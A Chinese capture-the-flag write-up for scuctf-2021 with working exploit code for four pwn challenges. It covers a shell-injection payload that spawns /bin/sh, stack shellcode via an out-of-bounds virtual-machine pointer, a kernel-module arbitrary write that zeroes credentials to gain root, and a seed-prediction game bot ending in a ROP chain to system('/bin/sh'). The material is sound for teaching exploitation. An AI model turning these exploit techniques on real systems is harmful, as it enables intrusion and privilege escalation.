0%

scuctf-2021

这次的比赛还是很有趣的,学到了许多。

一些地方写得比较简略,如果师傅们有看不懂的欢迎交流。

get-me

分析

shell 命令行注入。程序中有下面的危险命令执行:

1
2
sprintf(s, "/usr/bin/python3 -c 'print(%s + %s)'", v4, v5);
system(s);

让单引号闭合,用 “;” 隔离,在 “)” 前加 “\“ 就好了。

exp

1
2
3
4
5
6
7
8
9
from pwn import *

#io = process("./get-me")
io = remote("xxx.xxx.xxx.xxx", xxxxx)

io.sendlineafter("var1: ", "1)';")
io.sendlineafter("var2: ", ";/bin/sh;'\\")

io.interactive()

real-bf

分析

虚拟机题,主要难点在于逆向。

程序实现了栈上 rsp 的移动,加减运算,以及输入输出 rsp 指向地址的值等功能。

漏洞点是 rsp 向高地址处的移动没有边界限制,因此可以影响到真实的栈。

题目没有开 NX。泄漏栈地址后,覆盖返回地址为栈上布置的 shellcode 的地址就行。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

context.os = "linux"
context.arch = "amd64"
#io = process("./real-bf")
io = remote("xxx.xxx.xxx.xxx", xxxx)

shellcode = asm(shellcraft.sh())
payload = b'>' * 0x1010 + (b'.' + b'>') * 0x8 + (b',' + b'>') * 8 + b'<' * 0x1020 + (b',' + b'>') * len(shellcode)
io.sendlineafter("Number of characters in your program: ", str(len(payload)))
io.sendafter("Enter your program text below:\n", payload)

sleep(0.2)
rbp_val = u64(io.recv(8))
print("rbp_val = " + hex(rbp_val))
data_addr = rbp_val - 0x1030
sleep(0.2)
io.send(p64(data_addr))
sleep(0.2)
io.send(shellcode)

io.interactive()

spraying

一般 CTF 中的 Linux Kernel 题的出题点是如何利用 Linux Kernel Module 中的漏洞进行提权。

入门可以看:Linux Kernel Pwn_0_kernel ROP与驱动调试CTF-Wiki Pwn Kernel 基础知识

分析

boot.sh

解压题目附件后,先看看 qemu 的启动参数 vim ./boot.sh

1
qemu-system-x86_64 -m 120M -kernel ./bzImage  -initrd ./rootfs.img -append "console=ttyS0 root=/dev/ram rdinit=/sbin/init nokaslr" -cpu qemu64 -nographic -s

没有开 smep 之类的保护,还把 kaslr 关了。(但跟后面解这题没啥关系)

etc/init.d/rcS

解压 rootfs.img 后,看一下 vim ./etc/init.d/rcS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys


echo /sbin/mdev > /proc/sys/kernel/hotplug
/sbin/mdev -s

chmod -R 111 /bin
chmod -R 111 /usr/bin
chmod -R 111 /sbin



chmod 666 /proc/slabinfo

mkdir /tmp
cat /proc/kallsyms > /tmp/kallsyms
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"

chmod 777 /pax.ko

insmod /pax.ko

chmod 666 /proc/pax

echo $(cat /proc/modules | grep pax)

echo "* soft nproc 65535" >> /etc/security/limits.conf
echo "* hard nproc 65535" >> /etc/security/limits.conf

echo "kernel.pid_max = 65535" >> /etc/sysctl.conf

setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0 -f

忽略掉一些完全看不懂的东西,有几处需要注意:

  1. cat /proc/kallsyms > /tmp/kallsyms:这样我们可以从 /tmp/kallsyms 读取到一些 kernel 中函数的地址了,如 ·prepare_kernel_credcommit_cred(这点也和解这题没啥关系)
  2. insmod /pax.ko:将驱动模块加入到内核中。下一步我们就要研究这个驱动模块。
  3. setsid cttyhack setuidgid 1000 sh:设置了 uid 和 gid。调试时可以把 1000 改成 0,这样查看一些用于调试的 kernel 信息。

pax.ko

从解压 rootfs.img 找到 pax.ko,拖入 ida 反编译,发现两个重要函数:

pax_ioctl

用户程序中调用 ioctl 时,内核中就会调用这个函数。看看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
__int64 __fastcall pax_ioctl(file *file, unsigned int cmd, size_t arg)
{
_DWORD *v3; // rbx
__int64 result; // rax
unsigned int v5; // [rsp-4h] [rbp-2Ch] BYREF
in_args in; // [rsp+0h] [rbp-28h] BYREF

if ( copy_from_user(&in, arg, 24LL) )
return -22LL;
if ( cmd != 0xDEAD )
return -1LL;
v3 = (_DWORD *)in.addr;
v5 = 0;
if ( copy_from_user(&v5, in.buf, 4LL) )
{
printk("copy_from_user failed\n");
result = -22LL;
}
else
{
printk("write: 0x%llx,%d\n", v3, v5);
*v3 = v5;
result = 0LL;
}
return result;
}

该函数的功能是接收从用户程序传入的地址和四字节值,将四字节值写入该地址。我们得到了一个内核中的任意地址写。

pax_open

用户程序中调用 open 时,内核中就会调用这个函数。看看源码:

1
2
3
4
5
6
int __fastcall pax_open(inode *inode, file *file)
{
_fentry__(inode, file);
printk("EUID: 0x%llx\n", *(_QWORD *)(__readgsqword((unsigned int)&current_task) + 0xA80) + 20LL);
return single_open(file, pax_show, 0LL);
}

函数打印了 EUID 的地址。结合前面的任意地址写,我们可以覆盖进程的 UID、EUID、GID 等,达成提权到 root。

接下来开始调试,确定一下该地址是否真的为 EUID 的地址。

调试

写一下详细的步骤:

  1. 提取出未压缩的 kernel:./extract_vmlinux.sh ./bzImage > ./vmlinux

  2. ./boot.sh 启动 qemu,gdb ./vmlinux启动 gdb

  3. 看一看 pax 的 地址(需要 root 权限)

    1
    2
    / # cat /proc/modules | grep pax
    pax 16384 0 - Live 0xffffffffc0002000 (OE)
  4. 添加 pax 的符号表以便调试

    1
    2
    3
    4
    pwndbg> add-symbol-file ./core/pax.ko 0xffffffffc0002000
    add symbol table from file "./core/pax.ko" at
    .text_addr = 0xffffffffc0002000
    Reading symbols from ./core/pax.ko...
  5. 下断点在 pax_open 上:

    1
    2
    pwndbg> b pax_open 
    Breakpoint 1 at 0xffffffffc0002010: file /root/xss_pwn/core/pax.c, line 27.
  6. gdb 连接 qemu:

    1
    2
    3
    pwndbg> target remote localhost:1234
    Remote debugging using localhost:1234
    0xffffffff81948ba6 in ?? ()
  7. qemu 内输入 cat /proc/pax

  8. 单步调试,找到 current_task 的地址

    1
    2
    3
    4
    *RAX  0xffff8800056495c0 ◂— 0  // 这就是current_task的地址
    ...
    0xffffffffc000201d <pax_open+13> mov rax, qword ptr gs:[0x15bc0]
    ► 0xffffffffc0002026 <pax_open+22> mov rbp, rsp
  9. gdb 内打印 current_task 的 cred 的 euid 的地址:

    1
    2
    pwndbg> p &(*(*(struct task_struct *)0xffff8800056495c0).cred).euid
    $7 = (kuid_t *) 0xffff88000560ccd4
  10. gdb continue,查看 qemu 内打印的 euid 的地址:

    1
    2
    / # cat /proc/pax
    [ 24.690799] EUID: 0xffff88000560ccd4

两者相同,说明 open 得到的 EUID 的地址是正确的。

利用

写一个用户程序,打开 /proc/pax 设备,运行 dmesg 命令手动获取 EUID 的地址,然后多次调用 ioctl 覆盖 UID、EUID、GID 等为 0,最后查看 uid,发现为 0,getshell。

麻烦是程序如何上传到远程服务器。

上传

题目提供了一个 python 脚本来传输,原始版本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# -*- coding: UTF-8 -*-

from pwn import *
import os
import time
import sys

#context.log_level = 'debug'

ip = sys.argv[1]
os.system('gzip -c exp > exp.gz')
context = read('exp.gz').encode('base64')
cmd = '/ $'
port =
def exploit(r):
while(1):
try:
r.sendlineafter(cmd, 'stty -echo')
r.sendlineafter(cmd, 'cat <<EOF > exp.gz.b64')
r.sendline(context)
r.sendline('EOF')

r.sendlineafter(cmd, 'base64 -d exp.gz.b64 > exp.gz')
r.sendlineafter(cmd, 'gunzip exp.gz')
r.sendlineafter(cmd, 'chmod 777 exp')
r.sendlineafter(cmd, './exp')
r.interactive()
except:
log.info("failed")
r.close()
r = remote(ip, port)

p = remote(ip, port)

exploit(p)

脚本先将 ELF 文件压缩,再 base64 编码,传输到远程。在远程解码、解压。

即使这么做了,还是有两个问题:

  1. 由于文件系统中没有 libc 库,我们只能将程序静态编译。而静态编译的 ELF 文件会很大。(就算经过了压缩和编码还是很大)
  2. 经过我测试 cat <<EOF > exp.gz.b64 一次只能传 0x1000 字节,文件太大的话,传着传着远程 qemu 就终止了。。。

核心问题在于 glibc 太大了,所以我 google 找到了一个体积较小的 libc:[diet libc - a libc optimized for small size](diet libc - a libc optimized for small size)

对比一下 glibc 和 diet libc 编译的 exp 文件体积,分别是 994K 和 31K,差距巨大。且后者在压缩和编码后仅有 0x414c 字节。

还需要提到的一点是,我们在远程的目录中没有写权限,但对 gen.sh、insert.sh 和 pax.ko 有读写执行权限,所以我们可以把解码和解压的结果写到这三个文件中。

exp

pwn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>

struct in_args {
size_t addr;
size_t size;
int *buf;
};

void copy_in_ko(int fd, struct in_args *p_in_args)
{
printf("Copying 4 bytes from %p to %p...\n", p_in_args->buf, p_in_args->addr);
if (ioctl(fd, 0xdead, p_in_args) < 0)
{
perror("ioctl");
exit(1);
}
}

void spawn_shell(void)
{
if(!getuid())
{
system("/bin/sh");
}
else
{
puts("spawn shell error!");
}
exit(0);
}

int main(void)
{
int fd = open("/proc/pax", O_RDWR);
if (fd < 0)
{
perror("open failed");
exit(1);
}

system("dmesg");
size_t euid_addr = 0;
printf("Please input the addr of euid\n");
scanf("%llu", &euid_addr);
printf("The addr of euid is %p\n", euid_addr);

int euid = 0;
struct in_args ia = {euid_addr, 0, &euid};
copy_in_ko(fd, &ia);
ia.addr = euid_addr + 4;
copy_in_ko(fd, &ia);
ia.addr = euid_addr - 4;
copy_in_ko(fd, &ia);
ia.addr = euid_addr - 8;
copy_in_ko(fd, &ia);
ia.addr = euid_addr - 12;
copy_in_ko(fd, &ia);
ia.addr = euid_addr - 16;
copy_in_ko(fd, &ia);

spawn_shell();

close(fd);

return 0;
}

上传脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
# -*- coding: UTF-8 -*-
# 1. cat <<EOF的作用:https://stackoverflow.com/questions/2500436/how-does-cat-eof-work-in-bash
# 2. 如何找到并打印task_struct结构体:https://stackoverflow.com/questions/2500436/how-does-cat-eof-work-in-bash
# 3. 内核pwn入门文章之一:https://bbs.pediy.com/thread-262425.htm#msg_header_h1_1

from pwn import *
import os
import time
import sys
import base64

#context.log_level = 'debug'

os.system("gzip -c exp > exp.gz")
#context = read('exp.gz').encode('base64')
with open("exp.gz", "rb") as f:
middle = base64.b64encode(f.read())
print("size = " + hex(len(middle)))

ip = "xxx.xx.xxx.xx"
port = xxxxx
def exploit(io):
cmd = '/ $'
io.sendlineafter(cmd, 'stty -echo')
io.sendlineafter(cmd, 'cat <<EOFNONO > gen.sh')

i = 0
rest_len = len(middle)
while rest_len // 0xfff:
io.sendlineafter("> ", middle[i*0xfff:(i+1)*0xfff] + b'\\')
rest_len = rest_len - 0xfff
print("left " + hex(rest_len))
i += 1
print("Sending last " + hex(len(middle) - 0xfff * i))
io.sendlineafter("> ", middle[i*0xfff:])
io.sendlineafter("> ", "EOFNONO")

io.sendlineafter(cmd, 'base64 -d gen.sh > insert.sh')
io.sendlineafter(cmd, 'gunzip -c insert.sh > pax.ko')
io.sendlineafter(cmd, './pax.ko')
io.interactive()

io = remote(ip, port)

exploit(io)

效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
size = 0x414c
[+] Opening connection to xxx.xxx.xxx.xx on port xxxx: Done
left 0x314d
left 0x214e
left 0x114f
left 0x150
Sending last 0x150
[*] Switching to interactive mode
...
...
[ 2.708176] EUID: 0xffff880005614c14
Please input the addr of euid
$ 18446612132404481044
The addr of euid is 0xffff880005614c14
Copying 4 bytes from 0x7ffd10d1ab0c to 0xffff880005614c14...
[ 13.317005] write: 0xffff880005614c14,0
Copying 4 bytes from 0x7ffd10d1ab0c to 0xffff880005614c18...
[ 13.317274] write: 0xffff880005614c18,0
Copying 4 bytes from 0x7ffd10d1ab0c to 0xffff880005614c10...
[ 13.317508] write: 0xffff880005614c10,0
Copying 4 bytes from 0x7ffd10d1ab0c to 0xffff880005614c0c...
[ 13.317709] write: 0xffff880005614c0c,0
Copying 4 bytes from 0x7ffd10d1ab0c to 0xffff880005614c08...
[ 13.317902] write: 0xffff880005614c08,0
Copying 4 bytes from 0x7ffd10d1ab0c to 0xffff880005614c04...
[ 13.318095] write: 0xffff880005614c04,0
/ # $ id
uid=0 gid=0 groups=1000
/ # $ ls -lh
total 72
d--x--x--x 2 0 0 0 May 20 07:17 bin
drwxr-xr-x 7 0 0 0 Jun 6 04:59 dev
drwxr-xr-x 4 0 0 0 May 20 07:17 etc
-rw------- 1 0 0 29 May 20 07:12 flag
-rwxrwxrwx 1 0 0 16.3K Jun 6 04:59 gen.sh
-rwxrwxrwx 1 0 0 12.2K Jun 6 04:59 insert.sh
drwxr-xr-x 3 0 0 0 May 20 07:17 lib
lrwxrwxrwx 1 0 0 11 May 20 07:17 linuxrc -> bin/busybox
-rwxrwxrwx 1 0 0 30.5K Jun 6 04:59 pax.ko
dr-xr-xr-x 63 0 0 0 Jun 6 04:59 proc
drwx------ 2 0 0 0 May 19 00:24 root
d--x--x--x 2 0 0 0 May 20 07:17 sbin
dr-xr-xr-x 13 0 0 0 Jun 6 04:59 sys
drwxr-xr-x 2 0 0 0 Jun 6 04:59 tmp
drwxr-xr-x 4 0 0 0 May 20 07:17 usr
/ # $ cat flag
scuctf{1sdaewde_adw_123fasd}

dice

非常有趣的一题,争取下次新生赛我也出一道这种题。

分析

程序实现了一个猜骰子数的小游戏,以及 robot 的一些逻辑。

逆向不难,但需要一些时间,要有一些耐心。主要有这些函数:

dice_function

后面会重点分析一下其中的一些函数。

规则

程序开头就打印了规则:

Welcome to Liar’s Dice!

How many players total (4-10)? 10

The game works like this:
Each player starts the game with the same number of dice. At the beginning of each round, all players roll their dice.

Each player keeps their dice values a secret. Players take turns placing “bets” about all the dice rolled for that round.

A bet consists of a die face (1-6) and the number of dice that player believes were rolled. Once a player places their bet,
the next player may decide to raise the bet, call the last player a liar, or say that the last bet was “spot on.”

1) If the player chooses to raise the bet, they must either increase the number of dice, the die face value, or both. They may not decrease
2) If they believe the last bet was wrong, then all players reveal their dice. If the bet was valid, the challenger loses a die. Otherwise,
3) If they believe the last bet was exactly correct, and they are right, they are rewarded with an extra die.

Once a player has no more dice, they are eliminated. The last player standing, wins.
Have fun! And remember, no cheating!

player 可以进行一下几种操作:

  1. Bet:一个 Bet 需要提供骰子面和对应骰子面数。Bet 要么骰子面比前一个大,要么对应骰子面数比前一个大,也可以两个都大。
  2. Liar:当前 player 认为前一个 Bet 是无效的(大于对应骰子面数),如果是,做出前一个 Bet 的 player 失去一个骰子,如果不是,当前 player 失去一个骰子。
  3. Spot on:当前 player 认为前一个 Bet 是正确的(等于对应骰子面数)如果是,当前 player 获得一个骰子,如果不是,当前 player 失去一个骰子。

在看完规则后,我们可以借助一个二维数组帮助理解:

现在假设该轮有 1 个 1,2 个 2,3 个 3,4 个 4,2 个 5,2 个6。

我们可以找出“安全区”(S)、“得分区”(O)和“失分区”(X):

face\num 1 2 3 4 5
1 O X X X X
2 S O X X X
3 S S O X X
4 S S S O X
5 S S O X X
6 S S O X X

Bet 可以看作是指针在该数组上的移动,而且只能向下或者向右移动。

这可以说是一个博弈的游戏,我们通过自己骰子的面、以及其它玩家的 Bet 来做抉择。

最终目的是成为唯一存活(最终唯一有骰子的人),那我们在游戏过程中就要尽量不丢失骰子(合理 Bet),尝试把别人的骰子搞掉(Liar)、以及获得骰子(Spot on)。

作弊的 robot

但这个游戏的 robot 很坏,它记录了所有骰子面的数量,看下面的函数:

dice_cnt

然后它会用记录的数据作抉择:

dice_robot_choice

具体看看它是怎么做抉择的:

image-20210606142107088

太坏了!如果发现上一个玩家是用户的话,它就会尝试 spot on 和 lier,而对其它的 robot 无动于衷。但如果无法 spot 和 lier 的话,它又会非常保守,具体看 robot_default_bahave

image-20210606142528389

这里截不完全,结合上面的二维数组讲解一下逻辑。

face\num 1 2 3 4 5
1 O X X X X
2 S O X X X
3 S S O X X
4 S S S O X
5 S S O X X
6 S S O X X

robot 会从上一个 Bet 的位置开始,对这个地图进行向右和向下的搜索,以确定当前的 Bet。先尝试向右一格,如果没碰到危险区,就在此处 Bet;否则向下不断搜索,直到碰到安全区,若一直没碰到安全区,则说明上一个 Bet 在得分区。

也就是说利用骰子面信息,robot 永远不会犯错。即使我们能获得和它相同的信息,我们也赢不了游戏。

漏洞

负数索引

在查询玩家骰子数时存在负数索引的漏洞:

dice_get_num

也就是说我们可以读取任意地址的四字节值,从而泄漏一些游戏的信息,以及 getshell 需要的一些地址。

robot 逻辑和系统逻辑的不一致

我们前面知道 robot 会作弊,记录骰子面数。但系统在记录时采用了不同的做法:

dice_cnt

dices_face_this_roll_for_judge 就是系统用来记录的每个 player 的骰子面的数组。这里系统的错误(或者说与 robot 的不一致)在于,默认 player 的骰子数固定为 5。当一个 player 的骰子数大于 5 时,其顺序号大于 5 的骰子面部分会被下一个 player 的骰子面覆盖。也就是说,掷骰子时最多只掷 5 个。这样的话,后面计算骰子面数也会出错。robot 的做法反而是正确的。

据此可以推测,随着游戏的进行,总会有 player 的骰子数越来越大。而 robot 利用与系统不一致的数据,做出的抉择出错的可能性就越大,我们就有可乘之机了。

栈溢出

当我们胜利后,有一个很明显的栈溢出:

1
2
3
4
5
6
char s[520]; // [rsp+120h] [rbp-210h] BYREF  
...
printf("What is your name? ");
fgets(s, 0x500, stdin);
printf("\nCongrats %s\n", s);
return __readfsqword(0x28u) ^ v24;

利用

win the game

做法很简单:泄漏 seed 以生成一系列随机数,采用和系统一样的方法计算骰子面数,和 robot 一样的方法来做抉择。具体请看 exp。

getshell

需要泄漏一些值才能利用栈溢出,完成 getshell:

  1. canary:程序开了 canary 保护
  2. seed:为了预测接下来的骰子面
  3. libc 基址:为了执行 system(“/bin/sh”) 、以及泄漏 environ 变量的值
  4. 环境变量的起始地址:为了泄漏 canary
  5. heap 基址:为了计算偏移

泄漏链为 (heap 基址 和 libc 基址) –> (环境变量的起始地址) –> (canary 和 seed)。

问题在于要找到 heap 基址和 libc 基址,在 gdb 内查看 chunk:

dice_heap

经过调试后发现程序调用 fopenfreadfclose 后产生了这个 chunk,其中就有 libc 地址和 heap 地址。

起初我以为调用 srand 后 libc 中会有一个全局静态变量存着 seed 的值,看源码后发现确实有,但在 srand 中被修改了。这样就只能泄漏栈上的 seed 值了。

我本来想泄漏 thread local storage 中的 canary 值的,既然都泄漏栈地址了,就在栈中找吧。

exp

pwn

我不太会 python,可能写得很啰嗦、难懂。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
from pwn import *

#context.log_level = "debug"
libc = ELF("./libc64.so_dice")
io = process("./dice")
#io = remote("xxx.xx.xxx.xx", xxxxx)

player_num = 10

def leak_info(idx):
io.sendlineafter("4) Leave", '1')
io.sendlineafter("Player? ", str(idx))
io.recvuntil("They have ")
info = int(io.recvuntil(" dice", drop=True))
if info < 0:
info += 2 ** 32
return info

def leak_stderr_low():
return leak_info(-102)

def leak_stderr_high():
return leak_info(-101)

def leak_heap_low():
return leak_info(-102-24)

def leak_heap_high():
return leak_info(-102-23)

def leak_environ_low(base):
return leak_info(-((base + 0x10000000000000000 - libc.symbols["environ"]) // 4))

def leak_environ_high(base):
return leak_info(-((base + 0x10000000000000000 - libc.symbols["environ"]) // 4) + 1)

def leak_seed(environ_addr):
return leak_info(-((base + 0x10000000000000000 - (environ_addr - 0x130)) // 4))

def leak_canary_low(environ_addr):
return leak_info(-((base + 0x10000000000000000 - (environ_addr - 0x110)) // 4))

def leak_canary_high(environ_addr):
return leak_info(-((base + 0x10000000000000000 - (environ_addr - 0x110)) // 4) + 1)

#def leak_dice_num(num):
# l = []
# for i in range(num):
# l.append(leak_info(-8 + i))
# for j in range(num, 6):
# l.append(-1)
# return l

io.sendlineafter("How many players total (4-10)?", str(player_num))

libc.address = (leak_stderr_high() << 32) + leak_stderr_low() - libc.symbols["_IO_2_1_stderr_"]
print("libc.address = " + hex(libc.address))

heap_addr = (leak_heap_high() << 32) + leak_heap_low() - 0x10
print("heap_addr = " + hex(heap_addr))

base = heap_addr + 0x290 + 0x1e0 + 0x20 + 0x10
print("base = " + hex(base))

environ_addr = (leak_environ_high(base) << 32) + leak_environ_low(base)
print("environ_addr = " + hex(environ_addr))

seed = leak_seed(environ_addr)
print("seed = " + hex(seed))

canary = (leak_canary_high(environ_addr) << 32) + leak_canary_low(environ_addr)
print("canary = " + hex(canary))

print("Generating random numbers...")
os.system("./gen_random " + str(seed) + " 10000 > randoms.txt")
with open("randoms.txt") as f:
randoms_list = [int(x) for x in f.read().split(' ')]

random_idx = 0
def generate_dice_face_cnt_list(player_dices_num_list, player_num):
global random_idx
global randoms_list
real_face_list = [ -1 for face in range(5 * player_num) ]
robot_judge_list = [0, 0, 0, 0, 0, 0]

for i in range(player_num):
for j in range(player_dices_num_list[i]):
face = randoms_list[random_idx]
robot_judge_list[face] += 1
if j < 5:
real_face_list[i * 5 + j] = face
random_idx += 1

real_cnt_list = [0, 0, 0, 0, 0, 0]
for face in real_face_list:
if face != -1:
real_cnt_list[face] += 1

print("Robot think: " + str(robot_judge_list))
print("Real : " + str(real_cnt_list))

return real_cnt_list

def select_print_way(way):
io.sendlineafter("2) Print dice horizontally", str(way))

def start_roll():
io.sendlineafter("4) Leave", '0')

def force_bet(face, num):
io.sendlineafter("Die face? ", str(face))
io.sendlineafter("Number of dice? ", str(num))
print("BET face = " + str(face) + ", num = " + str(num))

def bet(face, num):
io.sendlineafter("3) Leave", '0')
force_bet(face, num)

def liar():
io.sendlineafter("3) Leave\n", '1')
print("LIAR!")

def spot_on():
io.sendlineafter("3) Leave\n", '2')
print("SPOT ON!")

end_of_leak = True
must_bet = False
I_end_roll = False
def make_choice(dice_face_cnt_list, current_face, current_dice_num, new_roll_start):
global end_of_leak
global must_bet
global I_end_roll

if new_roll_start:
start_roll()
if end_of_leak:
select_print_way(2)
end_of_leak = False
else:
if must_bet:
must_bet = False
for face in range(6):
if dice_face_cnt_list[face] > 1:
force_bet(face + 1, 1)
return
force_bet(1, 1)
return
if current_dice_num > dice_face_cnt_list[current_face]:
#print("current num " + str(current_dice_num) + " > " + str(dice_face_cnt_list[current_face]))
liar()
I_end_roll = True
elif current_dice_num == dice_face_cnt_list[current_face]:
#print("current num " + str(current_dice_num) + " == " + str(dice_face_cnt_list[current_face]))
spot_on()
I_end_roll = True
else:
if current_dice_num + 1 > dice_face_cnt_list[current_face]:
next_face = current_face + 1
while next_face < 6:
if current_dice_num <= dice_face_cnt_list[next_face]:
bet(next_face + 1, current_dice_num)
break
next_face += 1
if next_face == 6:
print("SPOT ON!")
spot_on()
I_end_roll = True
else:
bet(current_face + 1, current_dice_num + 1)


player_dices_num_list = [5, 5, 5, 5, 5, 5, 5, 5, 5, 5]
current_face = -1
current_dice_num = -1
new_roll_start = True
def collect_info():
global player_dices_num_list
global current_face
global current_dice_num
global new_roll_start
global must_bet
global I_end_roll

while True:

if I_end_roll:
I_end_roll = False
else:
io.recvuntil("Player ")
player_id = int(io.recvuntil("'s turn\n", drop=True))
#print("\nPlayer " + str(player_id) + "'s turn")

player_choice = io.recv(4)
#print(b"Player choose " + player_choice)
if player_choice == b"Call":
futher_choice = io.recv(7)
io.recvuntil("That was ")
judge_info = io.recv(3)
player_change_dice = -1
if futher_choice == b"ed spot":
io.recvuntil("on! Player ")
if judge_info == b"not":
player_change_dice = int(io.recvuntil(" loses a die.", drop=True))
player_dices_num_list[player_change_dice] -= 1
print("Player " + str(player_change_dice) + " die --")
elif judge_info == b"spo":
player_change_dice = int(io.recvuntil(" gets an extra die!", drop=True))
player_dices_num_list[player_change_dice] += 1
print("Player " + str(player_change_dice) + " die ++")
else:
print(b"Error: No such judge info: " + judge_info)
exit(1)
elif futher_choice == b"ed liar":
io.recvuntil(" on the table. Player ")
if judge_info == b"not":
player_change_dice = int(io.recvuntil(" loses a die.", drop=True))
player_dices_num_list[player_change_dice] -= 1
print("Player " + str(player_change_dice) + " die --")
elif judge_info == b"a l":
player_change_dice = int(io.recvuntil(" loses a die.", drop=True))
player_dices_num_list[player_change_dice] -= 1
print("Player " + str(player_change_dice) + " die --")
else:
print(b"Error: No such judge_info: " + judge_info)
exit(1)
else:
print(b"Error: No such futher_choice: " + futher_choice)
exit(1)
print("All player dice num = " + str(player_dices_num_list))
new_roll_start = True
break
elif player_choice == b"Bet ":
current_dice_num = int(io.recvuntil(' ', drop=True))
current_face = int(io.recv(1)) - 1
#print("current face = " + str(current_face + 1) + ", num = " + str(current_dice_num))
if current_face > 5:
print(b"Error: Invalid face")
exit(1)
new_roll_start = False
elif player_choice == b"\n0) ":
print("My Turn:")
new_roll_start = False
break
elif player_choice == b"You ":
print("I must bet")
must_bet = True
new_roll_start = False
break
else:
print(b"Error: No such choice: " + player_choice)
exit(1)

def did_we_win(player_dices_num_list):
for i in range(len(player_dices_num_list) - 1):
if player_dices_num_list[i] != 0:
return False
return True


Round = 0
while True:
if new_roll_start:
Round += 1
print("\nRound " + str(Round))
dice_face_cnt_list = generate_dice_face_cnt_list(player_dices_num_list, 10)

if did_we_win(player_dices_num_list):
print("We win!!!")
break

make_choice(dice_face_cnt_list, current_face, current_dice_num, new_roll_start)
collect_info()

os.system("rm randoms.txt")

p_rdi = libc.address + 0x26b72
ret = p_rdi + 1
system_string_addr = libc.address + 0x1b75aa
payload = b'j' * 0x208 + p64(canary) + p64(0xdeadbeef) + p64(ret) + p64(p_rdi) + p64(system_string_addr) + p64(libc.symbols["system"])
io.sendlineafter("What is your name? ", payload)

io.interactive()

生成随机数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
if (argc != 3)
{
fprintf(stderr, "Usage: ./gen_random seed num\n");
return 0;
}

unsigned int seed;
sscanf(argv[1], "%u", &seed);
srand(seed);

int num = atoi(argv[2]);
for (int i = 0; i < num; i++)
{
printf("%d", rand() % 6);
if (i != num - 1)
putchar(' ');
}

return 0;
}

效果

一开始 robot 和系统的计算结果还比较接近:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
Round 1
Robot think: [8, 11, 8, 8, 8, 7]
Real : [8, 11, 8, 8, 8, 7]
My Turn:
BET face = 2, num = 9
Player 2 die ++
All player dice num = [5, 5, 6, 5, 5, 5, 5, 5, 5, 5]

Round 2
Robot think: [5, 9, 9, 8, 11, 9]
Real : [5, 9, 9, 8, 11, 8]
My Turn:
BET face = 2, num = 7
Player 6 die ++
All player dice num = [5, 5, 6, 5, 5, 5, 6, 5, 5, 5]

Round 3
Robot think: [11, 13, 7, 6, 10, 5]
Real : [10, 13, 7, 6, 10, 4]
My Turn:
BET face = 1, num = 4
My Turn:
BET face = 2, num = 13
Player 0 die ++
All player dice num = [6, 5, 6, 5, 5, 5, 6, 5, 5, 5]

Round 4
Robot think: [11, 7, 10, 11, 4, 10]
Real : [11, 7, 9, 10, 4, 9]
My Turn:
BET face = 1, num = 10
Player 2 die --
All player dice num = [6, 5, 5, 5, 5, 5, 6, 5, 5, 5]

Round 5
Robot think: [9, 11, 8, 8, 7, 9]
Real : [9, 11, 8, 8, 6, 8]
My Turn:
BET face = 1, num = 8
Player 4 die ++
All player dice num = [6, 5, 5, 5, 6, 5, 6, 5, 5, 5]

Round 6
Robot think: [10, 8, 10, 12, 8, 5]
Real : [10, 7, 10, 11, 7, 5]
My Turn:
BET face = 1, num = 6
Player 8 die --
All player dice num = [6, 5, 5, 5, 6, 5, 6, 5, 4, 5]

到后面就变得离谱了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
Round 83
Robot think: [7, 0, 5, 5, 7, 6]
